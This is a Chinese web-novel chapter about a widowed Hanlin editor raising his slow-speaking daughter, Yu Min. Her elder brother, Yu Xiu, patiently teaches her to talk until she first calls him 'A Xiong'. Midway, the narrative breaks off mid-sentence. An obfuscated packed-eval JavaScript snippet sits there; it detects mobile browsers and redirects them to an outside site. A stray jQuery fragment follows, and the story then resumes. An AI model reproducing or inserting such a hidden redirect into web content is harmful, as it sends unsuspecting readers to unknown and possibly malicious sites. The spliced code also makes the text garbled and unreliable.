暮春的雨丝斜斜织着，把翰林院编修于成海家的青瓦润得发亮。
正房内的嘶喊声骤然停歇时，于成海在廊下焦躁踱步的动作骤然停止。雨声滴答滴答，一如他乱了的心绪。
稳婆苦着脸撩开染着松烟香的门帘，青布围裙上沾着暗红血渍，对着于成海屈膝道，“大人，是位千金，可夫人……终究没熬过这胎气。”
里屋传来婴孩细弱的啼哭，像被雨打湿的蝉鸣。
于成海已无心管顾啼哭的婴孩，扑通一声，跪在自己妻子床前嚎啕大哭起来。
暮春的雨停了，于家宅院却再没回暖。
妻子断气的那一刻，于成海的魂魄似是跟着去了大半。
案头待批的策论堆得老高，墨汁干成了硬块。
襁褓里的于敏饿得失了力气，哭声细得像根断线的棉线，他却整日枯坐在亡妻的梳妆台前，指尖摩挲着镜匣上的缠枝纹。
这般浑浑噩噩过了半年，秋风卷着落叶飘进窗棂时，于成海正独自趴在桌前，就着冷掉的菜，灌下第三坛烈酒。
酒液顺着嘴角淌进衣襟，烧得喉咙发疼，他却浑然不觉，只盯着桌上妻子的画像，渐渐醉倒在桌案上。
梦里是熟悉的卧房，妻子穿着生前常穿的月白襦裙，站在妆镜前，却没像往常那样回头笑。
不等他开口，妻子转过身来，眼底满是失望，语气冰冷，“我怎就嫁了你这么个窝囊人？仕途你抛在脑后，咱的孩子尚在襁褓，你连换块尿布都嫌烦。那是我拼了性命生下的孩子，你竟忍心让她哭到嗓子哑？于成海，你真让我寒心！”
话音落时，他猛地惊醒，额头上满是冷汗。
桌上的油灯还亮着，照见襁褓里的孩子正瘪着嘴，小脸蛋憋得通红，似是快要哭出来。
他踉跄着扑过去，笨拙地抱起孩子，鼻尖蹭到女儿柔软的胎发，眼泪忽然就砸在了襁褓上。
他笨拙地将襁褓裹紧些，学着记忆里女人带孩子的模样，轻轻拍着孩子的背。
从那以后，于成海变了模样。
他把案头堆积的文书重新整理好，虽不再像从前那般汲汲于仕途，却也认真处理分内之事。
每日，他都会会亲自给于敏换尿布、喂米汤，午后抱着她坐在院中，笨拙地念着浅显的童谣。
于成海一个大男人，当爹又当娘，一个人带孩子还得兼顾仕途，一年不到的时间便苦得面容消瘦。
他的好友看不下去，说要给他找个续弦，有个女人照料，他便不会这般辛苦了。
于成海总是态度坚定的拒绝，他这一生，只有一个妻子，也只爱他的妻子。
于成海为孩子取名于敏，有敏而好学之意。
可这敏字，却成了桩憾事。
别家孩童三岁能诵《千字文》，五岁能摹写小楷，于敏到了五岁，还只会睁着圆溜溜的眼睛望着书斋的匾额，最多出“咿呀”的声音。
于成海带着她遍访京城名医，御医们都只叹是胎中受损，心智开得迟，需慢慢养。
为此于成海总是心生愧疚，抱着敏敏发呆，一副肝肠寸断的表情。
于敏虽开窍晚，但同理心她还是有些的，每每爹爹抱着她露出这样的表情，她都会伸出自己肉肉的小手，抚去他脸庞上的泪，安抚性的咿呀两声。
可她的安抚经常会起到反效果，爹爹不仅没有开心一点，反而眼泪流得更汹涌了。
小小的她，黝黑的眼底总是藏着淡淡的忧郁，她也想快点会说话，她不想让爹爹担心，更不希望大人们总是用怜悯的眼神同情她。
深秋的风卷着银杏叶落在书斋窗前，爹爹从外地查访回来时，身后多了个十岁的男孩。
男孩穿着洗得发白的儒衫，背着个装着旧书的布囊，站在院中的树荫下，脊背挺得笔直，像株刚经了霜的青竹。
于成海牵着男孩的手走到敏敏面前，声音轻了几分。
“敏敏，这是你哥于修，是爹早年与你娘失散的孩子，今后你们兄妹要相互照料。”
于敏睁着眼睛盯着于修，手指紧紧攥着于成海的衣摆。
于修的目光落在她沾着点心碎屑的嘴角，从布囊里摸出块用油纸包着的桂花糕，递到她面前。
甜香漫进鼻腔，于敏迟疑片刻，慢慢伸出手。
她指尖刚碰到油纸，就听见于修温软的声音，像秋日里晒透的暖阳：“我是哥哥，往后定护着你。”
于敏不会说话，但会高兴点头。
她有哥哥，她喜欢她的哥哥。
自打于修来了于家，书斋后院的石板路上，总少不了两个相依的身影。
于成海白日要去翰林院当值，有时还得随同僚赴外地查访，照料于敏的担子，便全落在了于修肩上。
于敏自小没人细教，吃饭时总把米粒撒得满桌都是，喝汤时会溅湿衣襟。
于修从不说重话，只在她对面坐下。
他拿起小勺舀起半勺粥，慢慢递到自己嘴边示范，“敏敏，咱们慢慢喝，像这样，把勺子送进嘴里再咽。”
他示范了三遍，于敏盯着他的动作，笨拙地举起自己的小勺，虽仍撒了些，却比先前好了许多。
夜里于敏总踢被子，于修便定好三更的时辰，起身去她房里查看，轻轻将被角掖到她下巴底下，看着她蹙着的小眉头舒展开，才轻手轻脚地退出去。
教说话更是桩磨人的事。
晨光透过银杏叶的缝隙，在青石板上洒下细碎的光斑。
于修盘腿坐在廊下，怀里抱着于敏，指尖捏着块蜜饯，凑到她嘴边晃了晃，声音软得像浸了糖，“敏敏，先跟阿兄念，敏…..敏……”
“你叫敏敏，有敏而好学之意。”
他故意放慢语速，嘴唇一张一合，让于敏看得真切。
于敏盯着他的嘴，又瞅了瞅那蜜饯，小脑袋一点一点，喉咙里却只滚出“咿呀”两声，还带着点撒娇的黏糊劲儿。
于修失笑，把蜜饯塞到她手里，耐心地接着教：“不是咿……呀……是敏……敏…...”。
“你看，敏……嘴唇要抿一下，敏……”他边说边轻轻捏了捏于敏的嘴角，帮她调
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450307|178290||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
整口型。
于敏被逗得咯咯笑，含着蜜饯，含糊地跟着发声，“咿呀。”
好难教，于修有些泄气，很快便重振旗鼓。
等她把蜜饯吃完，于修又握着她的小手，一字一句道：“敏敏要唤我哥哥，或者阿兄。”
“你听，阿……”他拖长语调，热气轻轻拂过于敏的耳廓，“阿……然后是兄……
于敏眨巴着黑葡萄似的眼睛，模仿着他的语气，却还是“咿呀”的模糊音。
于修不着急，只把她抱得更紧些，笑着哄：“没关系，咱们再试一次。阿……兄……，慢慢来，阿兄等你。”
他就这么一遍遍地教，从“阿”到“兄”，从晨光微亮到日头爬上山头。
于敏的声音始终带着稚气的“咿呀”，可于修的眼神里没有半分不耐，只像守着株待放的花苞，满心都是期待。
他知道，总有一天，敏敏一定会说话的。
这般过了半载，转眼到了次年暮春。
于敏跟着于修去巷口买糖人，恰逢几个顽劣的孩童在街角追闹，手里的石子没个准头，竟朝着于敏飞了过来。
于修眼疾手快，一把将于敏护在身后，那石子“咚”地砸在他的后背，疼得他闷哼一声，额角渗出细汗。
于敏被这突如其来的变故吓住，她看着于修皱紧的眉头，看着他后背渐渐洇开的浅淡血痕，心里像被什么东西揪着疼。
往日里于修教她说话的模样、替她掖被角的模样、给她擦嘴角的模样，一股脑地涌进脑海。
她张着嘴，喉咙里像是堵着什么，却拼尽全力想要发出声音。
“阿……阿……阿……兄。”她的声音带着哭腔，断断续续，却比以往任何一次都清晰。
于修猛地回过头，眼里满是惊喜与不敢置信，他蹲下身，抓着于敏的肩膀，声音都在发颤：“敏敏，你会说话啦！”
于敏的眼泪顺着脸颊往下淌，小手紧紧抓着于修的衣袖，终于清晰地喊出了那两个字：“阿兄！”
这一声阿兄，像春日里破冰的溪流，瞬间淌进了于修的心里。他
再也忍不住，伸手将于敏紧紧抱在怀里，声音带着哽咽，“哎，阿兄在，阿兄在呢。”
自那以后，于敏像是突然开了窍。
先前教过的词语，她渐渐都能清晰说出，先是“爹爹”“阿兄”，再是“桂花糕”“糖人”，后来竟能跟着于修念简单的诗句。
于成海每晚回家，听着于敏脆生生地喊“爹爹”，看着她和于修坐在灯下，一个念诗一个跟读的模样，眼眶总忍不住发热。
亡妻的嘱托，他终于没有辜负，这对兄妹终究成了彼此最坚实的依靠。
于敏长到十一岁时，已出落得亭亭玉立。
一身月白襦裙衬得她肌肤莹润，发髻上只簪着支素雅的玉簪，站在树下，身姿挺拔如青竹，连抬手拂去肩头落叶的动作，都带着股沉静温婉的气度。
不知情的人见了，总以为是哪家精心教养的大家闺秀，却不知这气度，全是于修数年如一日教出来的。